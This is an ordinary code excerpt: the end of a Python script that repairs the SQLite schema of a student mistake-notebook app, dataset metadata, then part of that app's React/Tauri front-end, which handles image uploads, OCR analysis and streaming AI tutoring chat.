print(f"❌ 更新版本失败: {e}")
def check_mistakes_count(cursor):
"""检查错题数量"""
try:
cursor.execute("SELECT COUNT(*) FROM mistakes")
count = cursor.fetchone()[0]
print(f"📊 数据库中共有 {count} 条错题记录")
if count > 0:
cursor.execute("SELECT DISTINCT subject FROM mistakes")
subjects = [row[0] for row in cursor.fetchall()]
print(f"📚 涉及科目: {', '.join(subjects)}")
# 检查化学科目
cursor.execute("SELECT COUNT(*) FROM mistakes WHERE subject = '化学'")
chemistry_count = cursor.fetchone()[0]
print(f"🧪 化学科目错题: {chemistry_count} 条")
return count
except sqlite3.Error as e:
print(f"❌ 查询错题数量失败: {e}")
return 0
def main():
print("🚀 开始数据库修复...")
if not check_db_exists():
return
try:
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
# 检查当前状态
version = check_schema_version(cursor)
count = check_mistakes_count(cursor)
has_summary, has_analysis, columns = check_table_schema(cursor)
# 如果字段缺失，则添加
if not has_summary or not has_analysis:
add_missing_columns(cursor)
# 更新版本
if version < 7:
update_schema_version(cursor)
# 提交更改
conn.commit()
print("\n✅ 数据库修复完成！")
# 重新检查
print("\n🔍 验证修复结果...")
check_table_schema(cursor)
else:
print("\n✅ 数据库结构正常，无需修复")
conn.close()
except sqlite3.Error as e:
print(f"❌ 数据库操作失败: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
| 4,582
|
fix_database_schema
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 560, "qsc_code_num_chars": 4582.0, "qsc_code_mean_word_length": 4.48928571, "qsc_code_frac_words_unique": 0.28928571, "qsc_code_frac_chars_top_2grams": 0.04295943, "qsc_code_frac_chars_top_3grams": 0.06762132, "qsc_code_frac_chars_top_4grams": 0.05568815, "qsc_code_frac_chars_dupe_5grams": 0.19848846, "qsc_code_frac_chars_dupe_6grams": 0.19848846, "qsc_code_frac_chars_dupe_7grams": 0.13484487, "qsc_code_frac_chars_dupe_8grams": 0.12410501, "qsc_code_frac_chars_dupe_9grams": 0.04614161, "qsc_code_frac_chars_dupe_10grams": 0.04614161, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00898588, "qsc_code_frac_chars_whitespace": 0.31994762, "qsc_code_size_file_byte": 4582.0, "qsc_code_num_lines": 155.0, "qsc_code_num_chars_line_max": 103.0, "qsc_code_num_chars_line_mean": 29.56129032, "qsc_code_frac_chars_alphabet": 0.78722721, "qsc_code_frac_chars_comments": 0.03906591, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21100917, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00917431, "qsc_code_frac_chars_string_length": 0.28283291, "qsc_code_frac_chars_long_word_length": 0.02589961, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.06422018, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.02752294, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.18348624, "qsc_codepython_frac_lines_print": 0.27522936}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
|
000haoji/deep-student
|
temp_app_before_cleanup.tsx
|
import { useState, useEffect, useCallback } from 'react';
import { MistakeLibrary } from './components/MistakeLibrary';
import { Settings } from './components/Settings';
import { BatchAnalysis } from './components/BatchAnalysis';
import { ReviewAnalysis } from './components/ReviewAnalysis';
import { Dashboard } from './components/Dashboard';
import ReviewAnalysisDashboard from './components/ReviewAnalysisDashboard';
import CreateReviewAnalysisView from './components/CreateReviewAnalysisView';
import ReviewAnalysisSessionView from './components/ReviewAnalysisSessionView';
import { ReviewAnalysisLibrary } from './components/ReviewAnalysisLibrary';
import { MistakeDetail } from './components/MistakeDetail';
import { DataImportExport } from './components/DataImportExport';
import BackendTest from './components/BackendTest';
import { FormulaTest } from './components/FormulaTest';
import { MessageWithThinking } from './components/MessageWithThinking';
import { AnalysisWithAISDK } from './components/AnalysisWithAISDK';
import AnkiCardGeneration from './components/AnkiCardGeneration';
import { KnowledgeBaseManagement } from './components/KnowledgeBaseManagement';
import { RagQueryView } from './components/RagQueryView';
import { WindowControls } from './components/WindowControls';
import { useWindowDrag } from './hooks/useWindowDrag';
import { ImageViewer } from './components/ImageViewer';
// 移除不再使用的streamHandler import
import { TauriAPI, MistakeItem } from './utils/tauriApi';
import './App.css';
import './DeepStudent.css';
import './components/AnkiCardGeneration.css';
interface ChatMessage {
role: string;
content: string;
timestamp: string;
thinking_content?: string;
rag_sources?: Array<{
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}>;
}
interface AnalysisResponse {
temp_id: string;
initial_data: {
ocr_text: string;
tags: string[];
mistake_type: string;
first_answer: string;
};
}
interface ContinueChatResponse {
new_assistant_message: string;
}
type CurrentView = 'analysis' | 'library' | 'settings' | 'mistake-detail' | 'batch' | 'review' | 'dashboard' | 'data-management' | 'backend-test' | 'formula-test' | 'ai-sdk-analysis' | 'unified-review' | 'create-review' | 'review-session' | 'review-library' | 'anki-generation' | 'knowledge-base';
// 真实API调用
const analyzeNewMistake = TauriAPI.analyzeNewMistake;
const continueChat = async (request: any): Promise<ContinueChatResponse> => {
return TauriAPI.continueChat(request);
};
function App() {
const [currentView, setCurrentView] = useState<CurrentView>('analysis');
const [selectedMistake, setSelectedMistake] = useState<MistakeItem | null>(null);
const [showDataManagement, setShowDataManagement] = useState(false);
const [sidebarCollapsed, setSidebarCollapsed] = useState(false);
const [isChatFullscreen, setIsChatFullscreen] = useState(false);
const [currentReviewSessionId, setCurrentReviewSessionId] = useState<string | null>(null);
const { startDragging } = useWindowDrag();
// 分析相关状态
const [subject, setSubject] = useState('数学');
const [availableSubjects, setAvailableSubjects] = useState<string[]>([]);
const [isLoadingSubjects, setIsLoadingSubjects] = useState(true);
const [subjectConfigs, setSubjectConfigs] = useState<any[]>([]);
const [userQuestion, setUserQuestion] = useState('');
const [questionImages, setQuestionImages] = useState<File[]>([]);
const [questionImageUrls, setQuestionImageUrls] = useState<string[]>([]);
const [imageViewerOpen, setImageViewerOpen] = useState(false);
const [currentImageIndex, setCurrentImageIndex] = useState(0);
const [isAnalyzing, setIsAnalyzing] = useState(false);
const [analysisResult, setAnalysisResult] = useState<AnalysisResponse | null>(null);
const [chatHistory, setChatHistory] = useState<ChatMessage[]>([]);
const [currentMessage, setCurrentMessage] = useState('');
const [isChatting, setIsChatting] = useState(false);
const [streamingMessageIndex, setStreamingMessageIndex] = useState<number | null>(null);
const [isInputAllowed, setIsInputAllowed] = useState(false);
const [useStreamMode] = useState(true); // 固定启用流式模式
// 新增状态：用于立即显示OCR结果
const [ocrResult, setOcrResult] = useState<{
ocr_text: string;
tags: string[];
mistake_type: string;
} | null>(null);
const [isOcrComplete, setIsOcrComplete] = useState(false);
const [enableChainOfThought] = useState(true); // 固定启用思维链
const [thinkingContent, setThinkingContent] = useState<Map<number, string>>(new Map()); // 存储每条消息的思维链内容
// 监听器管理
const [activeListeners, setActiveListeners] = useState<Array<() => void>>([]);
// RAG相关状态
const [enableRag, setEnableRag] = useState(false);
const [ragTopK, setRagTopK] = useState(5);
// 加载支持的科目和科目配置
useEffect(() => {
const loadSubjects = async () => {
try {
const subjects = await TauriAPI.getSupportedSubjects();
setAvailableSubjects(subjects);
// 设置默认科目为第一个
if (subjects.length > 0) {
setSubject(subjects[0]);
}
} catch (error) {
console.error('加载科目失败:', error);
// 如果API失败，使用备用科目列表
const fallbackSubjects = ['数学', '物理', '化学', '英语'];
setAvailableSubjects(fallbackSubjects);
setSubject(fallbackSubjects[0]);
} finally {
setIsLoadingSubjects(false);
}
};
const loadSubjectConfigs = async () => {
try {
const configs = await TauriAPI.getAllSubjectConfigs(true); // 只获取启用的科目配置
setSubjectConfigs(configs);
} catch (error) {
console.error('加载科目配置失败:', error);
setSubjectConfigs([]);
} finally {
// Loading completed
}
};
loadSubjects();
loadSubjectConfigs();
}, []);
// 加载RAG设置
useEffect(() => {
const loadRagSettings = async () => {
try {
const [ragEnabled, ragTopKSetting] = await Promise.all([
TauriAPI.getSetting('rag_enabled').catch(() => 'false'),
TauriAPI.getSetting('rag_top_k').catch(() => '5'),
]);
setEnableRag(ragEnabled === 'true');
setRagTopK(parseInt(ragTopKSetting) || 5);
} catch (error) {
console.error('加载RAG设置失败:', error);
}
};
loadRagSettings();
}, []);
// 处理聊天全屏切换 - 简化为直接状态切换
const handleChatFullscreenToggle = () => {
setIsChatFullscreen(!isChatFullscreen);
};
// 处理图片上传
const handleImageUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
const files = Array.from(e.target.files || []);
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
// URL管理由useEffect自动处理，不需要在这里手动创建
}
// 清空input
e.target.value = '';
};
// 删除图片
const removeImage = (index: number) => {
// 只需要更新questionImages状态，URL管理由useEffect自动处理
setQuestionImages(prev => prev.filter((_, i) => i !== index));
};
// 打开图片查看器
const openImageViewer = (index: number) => {
setCurrentImageIndex(index);
setImageViewerOpen(true);
};
// 优化的文件上传点击处理器
const handleFileUploadClick = useCallback(() => {
const fileInput = document.querySelector('.file-input') as HTMLInputElement;
if (fileInput) {
fileInput.click();
}
}, []);
// 键盘快捷键
useEffect(() => {
const handleKeyDown = (e: KeyboardEvent) => {
// 只在没有输入框聚焦时处理快捷键
if (e.target instanceof HTMLInputElement || e.target instanceof HTMLTextAreaElement) {
return;
}
// Ctrl/Cmd + 数字键切换视图
if ((e.ctrlKey || e.metaKey) && !e.shiftKey && !e.altKey) {
switch (e.key) {
case '1':
e.preventDefault();
setCurrentView('analysis');
break;
case '2':
e.preventDefault();
setCurrentView('batch');
break;
case '3':
e.preventDefault();
setCurrentView('library');
break;
case '4':
e.preventDefault();
setCurrentView('review');
break;
case '5':
e.preventDefault();
setCurrentView('dashboard');
break;
case '6':
e.preventDefault();
setCurrentView('settings');
break;
case 's':
e.preventDefault();
setCurrentView('settings');
break;
case 'e':
e.preventDefault();
setShowDataManagement(true);
break;
case 'f':
e.preventDefault();
setCurrentView('formula-test');
break;
case 'a':
e.preventDefault();
setCurrentView('ai-sdk-analysis');
break;
}
}
// ESC键返回主页
if (e.key === 'Escape') {
if (isChatFullscreen) {
setIsChatFullscreen(false);
} else if (showDataManagement) {
setShowDataManagement(false);
} else if (currentView === 'mistake-detail') {
setCurrentView('library');
} else if (currentView !== 'analysis') {
setCurrentView('analysis');
}
}
};
document.addEventListener('keydown', handleKeyDown);
return () => document.removeEventListener('keydown', handleKeyDown);
}, [currentView, showDataManagement, isChatFullscreen]);
// 组件卸载时清理所有活跃的监听器
useEffect(() => {
return () => {
console.log('🧹 清理组件，注销所有活跃监听器:', activeListeners.length);
activeListeners.forEach(unlisten => {
try {
unlisten();
} catch (error) {
console.warn('注销监听器时出错:', error);
}
});
};
}, [activeListeners]);
// 管理题目图片URL的生命周期
useEffect(() => {
// 清理旧的URLs（避免在第一次渲染时清理不存在的URLs）
if (questionImageUrls.length > 0) {
questionImageUrls.forEach(url => {
try {
URL.revokeObjectURL(url);
} catch (error) {
console.warn('清理URL时出错:', error);
}
});
}
// 创建新的URLs
const newUrls = questionImages.map(file => {
try {
return URL.createObjectURL(file);
} catch (error) {
console.error('创建图片URL失败:', error);
return '';
}
}).filter(url => url !== '');
setQuestionImageUrls(newUrls);
// 清理函数
return () => {
newUrls.forEach(url => {
try {
URL.revokeObjectURL(url);
} catch (error) {
console.warn('清理URL时出错:', error);
}
});
};
}, [questionImages]); // 仅依赖questionImages，避免questionImageUrls导致循环
// 开始分析
const handleAnalyze = async () => {
if (!userQuestion.trim() || questionImages.length === 0) {
alert('请输入问题并上传至少一张题目图片');
return;
}
setIsAnalyzing(true);
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
setAnalysisResult(null);
setChatHistory([]);
try {
const request = {
subject,
question_image_files: questionImages,
analysis_image_files: [], // 不再使用解析图片
user_question: userQuestion,
enable_chain_of_thought: enableChainOfThought,
};
if (useStreamMode) {
console.log('🚀 开始分步骤分析...');
// 第一步：OCR分析，立即显示结果
console.log('📝 第一步：OCR和分类分析...');
const stepResult = await TauriAPI.analyzeStepByStep(request);
// 立即显示OCR结果
setOcrResult(stepResult.ocr_result);
setIsOcrComplete(true);
console.log('✅ OCR分析完成:', stepResult.ocr_result);
// 创建临时的分析结果对象
const tempAnalysisResult: AnalysisResponse = {
temp_id: stepResult.temp_id,
initial_data: {
ocr_text: stepResult.ocr_result.ocr_text,
tags: stepResult.ocr_result.tags,
mistake_type: stepResult.ocr_result.mistake_type,
first_answer: '', // 暂时为空，等待流式填充
},
};
setAnalysisResult(tempAnalysisResult);
// 第二步：开始流式AI解答
console.log('🤖 第二步：开始流式AI解答...');
// 创建初始的助手消息（空内容，等待流式填充）
const initialMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
setChatHistory([initialMessage]);
setStreamingMessageIndex(0);
// 改进的流式处理逻辑
const streamEvent = `analysis_stream_${stepResult.temp_id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API而不是streamHandler
const { listen } = await import('@tauri-apps/api/event');
// 清理之前的监听器
activeListeners.forEach(unlisten => unlisten());
setActiveListeners([]);
// 统一检查并处理流完成状态的函数
const checkAndFinalizeStreams = () => {
console.log(`🔍 检查流完成状态: contentActive=${contentListenerActive}, thinkingActive=${thinkingListenerActive}`);
// 核心改进：主内容流完成就是整个流程完成
if (!contentListenerActive) {
console.log('✅ 主内容流已完成，标记整个流程为完成状态');
setStreamingMessageIndex(null); // 停止显示流式光标
setIsInputAllowed(true); // 允许用户输入
setIsAnalyzing(false); // 分析完成
}
// 当所有流都完成时，清理监听器
if (!contentListenerActive && !thinkingListenerActive) {
console.log('🎉 所有流式内容（分析或对话）均已完成，清理监听器');
// 清理所有监听器，防止内存泄漏
activeListeners.forEach(unlisten => {
try {
unlisten();
} catch (error) {
console.warn('注销监听器时出错（在 finalize 中）:', error);
}
});
setActiveListeners([]); // 清空活跃监听器数组
} else {
console.log(`⏳ 流状态: 主内容=${contentListenerActive ? '进行中' : '已完成'}, 思维链=${thinkingListenerActive ? '进行中' : '已完成'}`);
}
};
// 监听主内容流
await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到主内容流:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullContent.length) {
fullContent = event.payload.content;
}
console.log('🎉 主内容流完成，总长度:', fullContent.length);
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = { ...newHistory[0], content: fullContent };
}
return newHistory;
});
contentListenerActive = false;
// unlistenContent(); // DEBUG: Temporarily commented out
// 立即更新分析结果中的first_answer
if (analysisResult) {
setAnalysisResult(prev => prev ? {
...prev,
initial_data: {
...prev.initial_data,
first_answer: fullContent
}
} : null);
}
checkAndFinalizeStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullContent += event.payload.content;
console.log(`📝 累积内容，当前长度: ${fullContent.length}`);
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = { ...newHistory[0], content: fullContent };
}
return newHistory;
});
}
}
});
// setActiveListeners(prev => [...prev, unlistenContent]); // DEBUG: Temporarily commented out
// 如果启用了思维链，监听思维链事件
if (enableChainOfThought) {
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听思维链事件: ${reasoningEvent}`);
await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 思维链流内容:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullThinkingContent.length) {
fullThinkingContent = event.payload.content;
}
console.log('🎉 思维链流完成，总长度:', fullThinkingContent.length);
setThinkingContent(prev => new Map(prev).set(0, fullThinkingContent));
thinkingListenerActive = false;
// unlistenThinking(); // DEBUG: Temporarily commented out
checkAndFinalizeStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullThinkingContent += event.payload.content;
console.log(`🧠 累积思维链，当前长度: ${fullThinkingContent.length}`);
setThinkingContent(prev => new Map(prev).set(0, fullThinkingContent));
}
}
});
// setActiveListeners(prev => [...prev, unlistenThinking]); // DEBUG: Temporarily commented out
// 添加超时机制：如果主内容完成后5秒思维链还没完成，自动标记为完成
setTimeout(() => {
if (!contentListenerActive && thinkingListenerActive) {
console.warn('⚠️ 思维链流超时，自动标记为完成');
thinkingListenerActive = false;
checkAndFinalizeStreams();
}
}, 5000);
} else {
console.log('ℹ️ 未启用思维链，直接标记为完成');
thinkingListenerActive = false;
checkAndFinalizeStreams(); // 如果没有思维链，立即检查一次，因为此时主内容可能已经完成
}
// 如果启用了RAG，监听RAG来源信息
if (enableRag) {
const ragSourcesEvent = `${streamEvent}_rag_sources`;
console.log(`📚 监听RAG来源事件: ${ragSourcesEvent}`);
await listen(ragSourcesEvent, (event: any) => {
console.log(`📚 收到RAG来源信息:`, event.payload);
if (event.payload && event.payload.sources) {
// 更新聊天历史中的RAG来源信息
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0] && newHistory[0].role === 'assistant') {
newHistory[0] = {
...newHistory[0],
rag_sources: event.payload.sources
};
}
return newHistory;
});
console.log('✅ RAG来源信息已更新');
}
});
}
// 启动流式解答
console.log(`🚀 启动流式解答，temp_id: ${stepResult.temp_id}, enable_chain_of_thought: ${enableChainOfThought}, enable_rag: ${enableRag}`);
if (enableRag) {
// 使用RAG增强的流式解答
await TauriAPI.startRagEnhancedStreamingAnswer({
temp_id: stepResult.temp_id,
enable_chain_of_thought: enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: ragTopK,
enable_reranking: true // 如果配置了重排序模型会自动使用
}
});
} else {
// 使用普通的流式解答
await TauriAPI.startStreamingAnswer(stepResult.temp_id, enableChainOfThought);
}
} else {
// 使用传统非流式分析
console.log('📊 使用传统分析模式...');
const response = await analyzeNewMistake(request);
setAnalysisResult(response);
// 立即显示OCR结果
setOcrResult({
ocr_text: response.initial_data.ocr_text,
tags: response.initial_data.tags,
mistake_type: response.initial_data.mistake_type,
});
setIsOcrComplete(true);
setChatHistory([{
role: 'assistant',
content: response.initial_data.first_answer,
timestamp: new Date().toISOString(),
}]);
}
} catch (error) {
console.error('❌ 分析失败:', error);
alert('分析失败: ' + error);
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
} finally {
setIsAnalyzing(false);
}
};
// 发送聊天消息 - 完全重写，修复所有流式问题
const handleSendMessage = async () => {
if (!currentMessage.trim() || !analysisResult) return;
const userMessage: ChatMessage = {
role: 'user',
content: currentMessage,
timestamp: new Date().toISOString(),
};
const newChatHistory = [...chatHistory, userMessage];
setChatHistory(newChatHistory);
setCurrentMessage('');
setIsChatting(true);
try {
if (useStreamMode) {
// 流式对话 - 全新改进版本
console.log('💬 开始流式对话...');
// 创建空的助手消息等待流式填充
const assistantMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
const streamingHistory = [...newChatHistory, assistantMessage];
setChatHistory(streamingHistory);
setStreamingMessageIndex(streamingHistory.length - 1);
// 改进的流式处理逻辑
const streamEvent = `continue_chat_stream_${analysisResult.temp_id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API
const { listen } = await import('@tauri-apps/api/event');
// 统一检查并处理流完成状态的函数 (对话部分，可以考虑提取到外部)
const checkAndFinalizeChatStreams = () => {
console.log(`🔍 检查对话流完成状态: contentActive=${contentListenerActive}, thinkingActive=${thinkingListenerActive}`);
// 核心改进：主内容流完成就是整个对话完成
if (!contentListenerActive) {
console.log('✅ 对话主内容流已完成，标记整个对话为完成状态');
setStreamingMessageIndex(null); // 停止显示流式光标
setIsInputAllowed(true); // 允许用户继续输入
setIsChatting(false); // 对话完成
}
// 当所有流都完成时，清理监听器
if (!contentListenerActive && !thinkingListenerActive) {
console.log('🎉 所有对话流式内容均已完成，清理监听器');
// 清理所有监听器
activeListeners.forEach(unlisten => {
try {
unlisten();
} catch (error) {
console.warn('注销监听器时出错（在 finalize chat 中）:', error);
}
});
setActiveListeners([]);
} else {
console.log(`⏳ 对话流状态: 主内容=${contentListenerActive ? '进行中' : '已完成'}, 思维链=${thinkingListenerActive ? '进行中' : '已完成'}`);
}
};
// 监听主内容流
await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到对话主内容流:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullContent.length) {
fullContent = event.payload.content;
}
console.log('🎉 对话主内容流完成，总长度:', fullContent.length);
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = { ...newHistory[lastIdx], content: fullContent };
}
return newHistory;
});
contentListenerActive = false;
// unlistenContent(); // DEBUG: Temporarily commented out
// 立即更新分析结果中的first_answer
if (analysisResult) {
setAnalysisResult(prev => prev ? {
...prev,
initial_data: {
...prev.initial_data,
first_answer: fullContent
}
} : null);
}
checkAndFinalizeChatStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullContent += event.payload.content;
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = { ...newHistory[lastIdx], content: fullContent };
}
return newHistory;
});
}
}
});
// setActiveListeners(prev => [...prev, unlistenContent]); // DEBUG: Temporarily commented out
// 如果启用了思维链，监听思维链事件
if (enableChainOfThought) {
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听对话思维链事件: ${reasoningEvent}`);
const lastMessageIndex = streamingHistory.length - 1;
await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 对话思维链流内容:`, event.payload);
if (event.payload) {
if (event.payload.is_complete) {
if (event.payload.content && event.payload.content.length >= fullThinkingContent.length) {
fullThinkingContent = event.payload.content;
}
console.log('🎉 对话思维链流完成，总长度:', fullThinkingContent.length);
setThinkingContent(prev => new Map(prev).set(lastMessageIndex, fullThinkingContent));
thinkingListenerActive = false;
// unlistenThinking(); // DEBUG: Temporarily commented out
checkAndFinalizeChatStreams(); // 检查是否所有流都完成了
} else if (event.payload.content) {
fullThinkingContent += event.payload.content;
setThinkingContent(prev => new Map(prev).set(lastMessageIndex, fullThinkingContent));
}
}
});
// setActiveListeners(prev => [...prev, unlistenThinking]); // DEBUG: Temporarily commented out
} else {
thinkingListenerActive = false;
checkAndFinalizeChatStreams(); // 如果没有思维链，立即检查
}
// 如果启用了RAG，监听对话的RAG来源信息
if (enableRag) {
const ragSourcesEvent = `${streamEvent}_rag_sources`;
console.log(`📚 监听对话RAG来源事件: ${ragSourcesEvent}`);
await listen(ragSourcesEvent, (event: any) => {
console.log(`📚 收到对话RAG来源信息:`, event.payload);
if (event.payload && event.payload.sources) {
// 更新聊天历史中最后一条助手消息的RAG来源信息
setChatHistory(prev => {
const newHistory = [...prev];
const lastIdx = newHistory.length - 1;
if (newHistory[lastIdx] && newHistory[lastIdx].role === 'assistant') {
newHistory[lastIdx] = {
...newHistory[lastIdx],
rag_sources: event.payload.sources
};
}
return newHistory;
});
console.log('✅ 对话RAG来源信息已更新');
}
});
}
// 调用后端API
if (enableRag) {
// 使用RAG增强的对话
const ragRequest = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
enable_rag: true,
rag_options: {
top_k: ragTopK,
enable_reranking: true
}
};
await TauriAPI.continueRagEnhancedChatStream(ragRequest);
} else {
// 使用普通对话
const request = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
};
await TauriAPI.continueChatStream(request);
}
} else {
// 传统非流式对话
const request = {
temp_id: analysisResult.temp_id,
chat_history: newChatHistory,
enable_chain_of_thought: enableChainOfThought,
};
const response = await continueChat(request);
const assistantMessage: ChatMessage = {
role: 'assistant',
content: response.new_assistant_message,
timestamp: new Date().toISOString(),
};
setChatHistory([...newChatHistory, assistantMessage]);
}
} catch (error) {
console.error('❌ 对话失败:', error);
alert('对话失败: ' + error);
setStreamingMessageIndex(null);
} finally {
setIsChatting(false);
}
};
// 保存到错题库
const handleSaveToLibrary = async () => {
if (!analysisResult) return;
try {
// 复制聊天历史，并将思维链内容保存到message中
const chatHistoryWithThinking = chatHistory.map((message, index) => {
// 如果是assistant消息且有思维链，则添加thinking_content字段
if (message.role === 'assistant' && thinkingContent.has(index)) {
return {
...message,
thinking_content: thinkingContent.get(index)
};
}
return message;
});
const result = await TauriAPI.saveMistakeFromAnalysis({
temp_id: analysisResult.temp_id,
final_chat_history: chatHistoryWithThinking,
});
if (result.success) {
alert('题目已保存到错题库！');
// 重置分析状态
handleReset();
} else {
alert('保存失败，请重试');
}
} catch (error) {
console.error('保存失败:', error);
alert('保存失败: ' + error);
}
};
// 重置分析
const handleReset = () => {
setAnalysisResult(null);
setChatHistory([]);
setCurrentMessage('');
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
setUserQuestion('');
setQuestionImages([]);
setThinkingContent(new Map());
setIsInputAllowed(false);
};
// 选择错题
const handleSelectMistake = (mistake: MistakeItem) => {
setSelectedMistake(mistake);
setCurrentView('mistake-detail');
};
// 更新错题
const handleUpdateMistake = (updatedMistake: MistakeItem) => {
setSelectedMistake(updatedMistake);
};
// 删除错题
const handleDeleteMistake = (mistakeId: string) => {
console.log('删除错题:', mistakeId);
setSelectedMistake(null);
setCurrentView('library');
};
// 渲染侧边栏导航 - 现代化风格
const renderSidebar = () => (
<div className={`app-sidebar ${sidebarCollapsed ? 'collapsed' : ''}`}>
<div className="sidebar-header" onMouseDown={startDragging}>
<div className="app-logo">
<img src="/logo.svg" alt="Deep Student" className="logo-icon" />
{!sidebarCollapsed && <span className="logo-text">Deep Student</span>}
</div>
</div>
<nav className="sidebar-nav">
<div className="nav-section">
<div className="nav-label">{!sidebarCollapsed && '分析工具'}</div>
<button
className={`nav-item tooltip-test ${currentView === 'analysis' ? 'active' : ''}`}
onClick={() => setCurrentView('analysis')}
data-tooltip={sidebarCollapsed ? '分析' : ''}
>
<span className="nav-icon">📝</span>
{!sidebarCollapsed && <span className="nav-text">分析</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'batch' ? 'active' : ''}`}
onClick={() => setCurrentView('batch')}
data-tooltip={sidebarCollapsed ? '批量分析' : ''}
>
<span className="nav-icon">📋</span>
{!sidebarCollapsed && <span className="nav-text">批量分析</span>}
</button>
</div>
<div className="nav-section">
<div className="nav-label">{!sidebarCollapsed && '数据管理'}</div>
<button
className={`nav-item tooltip-test ${currentView === 'library' ? 'active' : ''}`}
onClick={() => setCurrentView('library')}
data-tooltip={sidebarCollapsed ? '错题库' : ''}
>
<span className="nav-icon">📚</span>
{!sidebarCollapsed && <span className="nav-text">错题库</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'review' ? 'active' : ''}`}
onClick={() => setCurrentView('review')}
data-tooltip={sidebarCollapsed ? '单次回顾' : ''}
>
<span className="nav-icon">🔍</span>
{!sidebarCollapsed && <span className="nav-text">单次回顾</span>}
</button>
<button
className={`nav-item tooltip-test ${currentView === 'unified-review' ? 'active' : ''}`}
onClick={() => setCurrentView('unified-review')}
data-tooltip={sidebarCollapsed ? '统一回顾' : ''}
>
<span className="nav-icon">🎯</span>
{!sidebarCollapsed && <span className="nav-text">统一回顾</span>}
</button>
<button
